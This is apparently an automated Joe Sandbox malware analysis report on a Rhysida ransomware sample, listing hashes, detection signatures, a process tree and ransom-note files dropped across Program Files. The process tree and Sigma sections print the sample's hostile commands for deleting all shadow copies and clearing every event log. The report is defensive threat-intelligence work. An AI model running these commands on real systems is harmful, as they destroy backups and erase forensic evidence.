Edit tour

Windows Analysis Report
5PPbtKZ2hR.exe

Overview

General Information

Sample name:	5PPbtKZ2hR.exe renamed because original name is a hash value
Original sample name:	a0d4d52885b654cbfeefd194359936072133519c2bc7e8f68b7b668e59c67b94.exe
Analysis ID:	1524362
MD5:	c43f12b8330643c72d21bad3b6cfcf82
SHA1:	f453f42de8151323472dbe35b5d48084e0012216
SHA256:	a0d4d52885b654cbfeefd194359936072133519c2bc7e8f68b7b668e59c67b94
Tags:	exeRhysidauser-JAMESWT_MHT
Infos:

Detection

Rhysida, TrojanRansom

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Yara detected Rhysida Ransomware

Yara detected TrojanRansom

AI detected suspicious sample

Contains functionality to clear event logs

Deletes shadow drive data (may be related to ransomware)

Found API chain indicative of debugger detection

Found Tor onion address

Machine Learning detection for sample

May disable shadow drive data (uses vssadmin)

Sigma detected: Shadow Copies Deletion Using Operating Systems Utilities

Sigma detected: Suspicious Eventlog Clear or Configuration Change

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Writes many files with high entropy

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Contains capabilities to detect virtual machines

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables security privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

Installs a raw input device (often for capturing keystrokes)

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains sections with non-standard names

Sample execution stops while process was sleeping (likely an evasion)

Too many similar processes found

Uses Microsoft's Enhanced Cryptographic Provider

Classification

Process Tree

System is w10x64

5PPbtKZ2hR.exe (PID: 6572 cmdline: "C:\Users\user\Desktop\5PPbtKZ2hR.exe" MD5: C43F12B8330643C72D21BAD3B6CFCF82)

cmd.exe (PID: 6856 cmdline: C:\Windows\system32\cmd.exe /c cmd.exe /c vssadmin.exe Delete Shadows /All /Quiet MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7072 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 6432 cmdline: cmd.exe /c vssadmin.exe Delete Shadows /All /Quiet MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

vssadmin.exe (PID: 6492 cmdline: vssadmin.exe Delete Shadows /All /Quiet MD5: B58073DB8892B67A672906C9358020EC)

cmd.exe (PID: 5712 cmdline: C:\Windows\system32\cmd.exe /c cmd.exe /c for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2944 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 408 cmdline: cmd.exe /c for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

cmd.exe (PID: 3960 cmdline: C:\Windows\system32\cmd.exe /c wevtutil.exe el MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

wevtutil.exe (PID: 3884 cmdline: wevtutil.exe el MD5: 1AAE26BD68B911D0420626A27070EB8D)

wevtutil.exe (PID: 7140 cmdline: wevtutil.exe cl "AMSI/Debug" MD5: 1AAE26BD68B911D0420626A27070EB8D)

wevtutil.exe (PID: 3464 cmdline: wevtutil.exe cl "AirSpaceChannel" MD5: 1AAE26BD68B911D0420626A27070EB8D)

wevtutil.exe (PID: 3736 cmdline: wevtutil.exe cl "Analytic" MD5: 1AAE26BD68B911D0420626A27070EB8D)

wevtutil.exe (PID: 2424 cmdline: wevtutil.exe cl "Application" MD5: 1AAE26BD68B911D0420626A27070EB8D)

wevtutil.exe (PID: 5064 cmdline: wevtutil.exe cl "DirectShowFilterGraph" MD5: 1AAE26BD68B911D0420626A27070EB8D)

wevtutil.exe (PID: 1124 cmdline: wevtutil.exe cl "DirectShowPluginControl" MD5: 1AAE26BD68B911D0420626A27070EB8D)

wevtutil.exe (PID: 1256 cmdline: wevtutil.exe cl "Els_Hyphenation/Analytic" MD5: 1AAE26BD68B911D0420626A27070EB8D)

wevtutil.exe (PID: 4740 cmdline: wevtutil.exe cl "EndpointMapper" MD5: 1AAE26BD68B911D0420626A27070EB8D)

wevtutil.exe (PID: 2984 cmdline: wevtutil.exe cl "FirstUXPerf-Analytic" MD5: 1AAE26BD68B911D0420626A27070EB8D)

wevtutil.exe (PID: 5432 cmdline: wevtutil.exe cl "ForwardedEvents" MD5: 1AAE26BD68B911D0420626A27070EB8D)

wevtutil.exe (PID: 3496 cmdline: wevtutil.exe cl "General Logging" MD5: 1AAE26BD68B911D0420626A27070EB8D)

wevtutil.exe (PID: 1276 cmdline: wevtutil.exe cl "HardwareEvents" MD5: 1AAE26BD68B911D0420626A27070EB8D)

wevtutil.exe (PID: 6676 cmdline: wevtutil.exe cl "IHM_DebugChannel" MD5: 1AAE26BD68B911D0420626A27070EB8D)

wevtutil.exe (PID: 6156 cmdline: wevtutil.exe cl "Intel-iaLPSS-GPIO/Analytic" MD5: 1AAE26BD68B911D0420626A27070EB8D)

wevtutil.exe (PID: 5472 cmdline: wevtutil.exe cl "Intel-iaLPSS-I2C/Analytic" MD5: 1AAE26BD68B911D0420626A27070EB8D)

wevtutil.exe (PID: 5904 cmdline: wevtutil.exe cl "Intel-iaLPSS2-GPIO2/Debug" MD5: 1AAE26BD68B911D0420626A27070EB8D)

wevtutil.exe (PID: 3648 cmdline: wevtutil.exe cl "Intel-iaLPSS2-GPIO2/Performance" MD5: 1AAE26BD68B911D0420626A27070EB8D)

wevtutil.exe (PID: 2704 cmdline: wevtutil.exe cl "Intel-iaLPSS2-I2C/Debug" MD5: 1AAE26BD68B911D0420626A27070EB8D)

wevtutil.exe (PID: 5176 cmdline: wevtutil.exe cl "Intel-iaLPSS2-I2C/Performance" MD5: 1AAE26BD68B911D0420626A27070EB8D)

wevtutil.exe (PID: 5932 cmdline: wevtutil.exe cl "Internet Explorer" MD5: 1AAE26BD68B911D0420626A27070EB8D)

wevtutil.exe (PID: 4708 cmdline: wevtutil.exe cl "Key Management Service" MD5: 1AAE26BD68B911D0420626A27070EB8D)

wevtutil.exe (PID: 6108 cmdline: wevtutil.exe cl "MF_MediaFoundationDeviceMFT" MD5: 1AAE26BD68B911D0420626A27070EB8D)

Acrobat.exe (PID: 6592 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CriticalBreachDetected.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

Acrobat.exe (PID: 4276 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" --type=renderer /prefetch:1 "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CriticalBreachDetected.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

WerFault.exe (PID: 3396 cmdline: C:\Windows\system32\WerFault.exe -u -p 4276 -s 1300 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Rhysida		No Attribution	https://blog.talosintelligence.com/rhysida-ransomware/ https://decoded.avast.io/threatresearch/rhysida-ransomware-technical-analysis/ https://detect.fyi/rhysida-ransomware-and-the-detection-opportunities-3599e9a02bb2 https://fourcore.io/blogs/rhysida-ransomware-history-ttp-adversary-emulation https://research.checkpoint.com/2023/the-rhysida-ransomware-activity-analysis-and-ties-to-vice-society/	https://malpedia.caad.fkie.fraunhofer.de/details/win.rhysida

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
5PPbtKZ2hR.exe	JoeSecurity_rhysida	Yara detected Rhysida Ransomware	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: 5PPbtKZ2hR.exe PID: 6572	JoeSecurity_rhysida	Yara detected Rhysida Ransomware	Joe Security
Process Memory Space: 5PPbtKZ2hR.exe PID: 6572	JoeSecurity_TrojanRansom	Yara detected TrojanRansom	Joe Security

Sigma Signatures

System Summary

Sigma detected: Shadow Copies Deletion Using Operating Systems Utilities

Source: Process started

Author: Florian Roth (Nextron Systems), Michael Haag, Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community, Andreas Hunkeler (@Karneades): Data: Command: vssadmin.exe Delete Shadows /All /Quiet, CommandLine: vssadmin.exe Delete Shadows /All /Quiet, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\vssadmin.exe, NewProcessName: C:\Windows\System32\vssadmin.exe, OriginalFileName: C:\Windows\System32\vssadmin.exe, ParentCommandLine: cmd.exe /c vssadmin.exe Delete Shadows /All /Quiet, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6432, ParentProcessName: cmd.exe, ProcessCommandLine: vssadmin.exe Delete Shadows /All /Quiet, ProcessId: 6492, ProcessName: vssadmin.exe

Sigma detected: Suspicious Eventlog Clear or Configuration Change

Source: Process started

Author: Ecco, Daniil Yugoslavskiy, oscd.community, D3F7A5105: Data: Command: wevtutil.exe cl "AMSI/Debug", CommandLine: wevtutil.exe cl "AMSI/Debug", CommandLine|base64offset|contains: r, Image: C:\Windows\System32\wevtutil.exe, NewProcessName: C:\Windows\System32\wevtutil.exe, OriginalFileName: C:\Windows\System32\wevtutil.exe, ParentCommandLine: cmd.exe /c for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 408, ParentProcessName: cmd.exe, ProcessCommandLine: wevtutil.exe cl "AMSI/Debug", ProcessId: 7140, ProcessName: wevtutil.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 5PPbtKZ2hR.exe

Avira: detected

Multi AV Scanner detection for submitted file

Source: 5PPbtKZ2hR.exe

ReversingLabs: Detection: 72%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 97.4% probability

Machine Learning detection for sample

Source: 5PPbtKZ2hR.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe

Code function: 0_2_0043E070 CryptAcquireContextA,CryptAcquireContextA,CryptGenRandom,CryptAcquireContextA,

0_2_0043E070

Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\7-Zip\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\7-Zip\Lang\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\locales\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\swiftshader\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\locales\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\swiftshader\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Air\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Assets\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\DocSettings\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\DocSettings\Redaction\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\DocSettings\Redaction\CAN\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\DocSettings\Redaction\DEU\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\DocSettings\Redaction\ENU\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\DocSettings\Redaction\FRA\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\DocSettings\Redaction\JPN\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\DocSettings\Redaction\UK\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\DocTemplates\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\DocTemplates\ENU\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\HostedServicesTemplates\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\HostedServicesTemplates\ENU\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\IDTemplates\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\IDTemplates\ENU\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Javascripts\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\ar_AE\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\cs_CZ\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\da_DK\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\de_DE\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\el_GR\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\ENU\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\en_AE\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\en_GB\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\en_IL\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\en_US\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\es_ES\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\fi_FI\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\fr_FR\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\fr_MA\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\he_IL\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\hu_HU\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\it_IT\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\ja_JP\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\ko_KR\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\nb_NO\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\nl_NL\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\pl_PL\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\pt_BR\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\ru_RU\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\sk_SK\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\sl_SI\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\sv_SE\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\tr_TR\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\uk_UA\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\zh_CN\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\zh_TW\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Locale\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Locale\en_US\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\ngl_resources\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\ngl_resources\resources\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\ngl_resources\resources\ui\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\ngl_resources\resources\ui\font\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\ngl_resources\resources\ui\font\ie\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\ngl_resources\resources\ui\font\regular\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\AcroForm\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\AcroForm\PMP\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\Annotations\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\Annotations\Stamps\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\Annotations\Stamps\ENU\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\Multimedia\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\Multimedia\MPP\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins3d\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins3d\prc\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\RdrApp\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\RdrApp\ENU\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Sequences\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Sequences\ENU\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Tracker\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\UIThemes\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\__VERSION__\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\__VERSION__\private\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\appmeasurement\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\appmeasurement\prod\CriticalBreachDetected.pdf	Jump to behavior
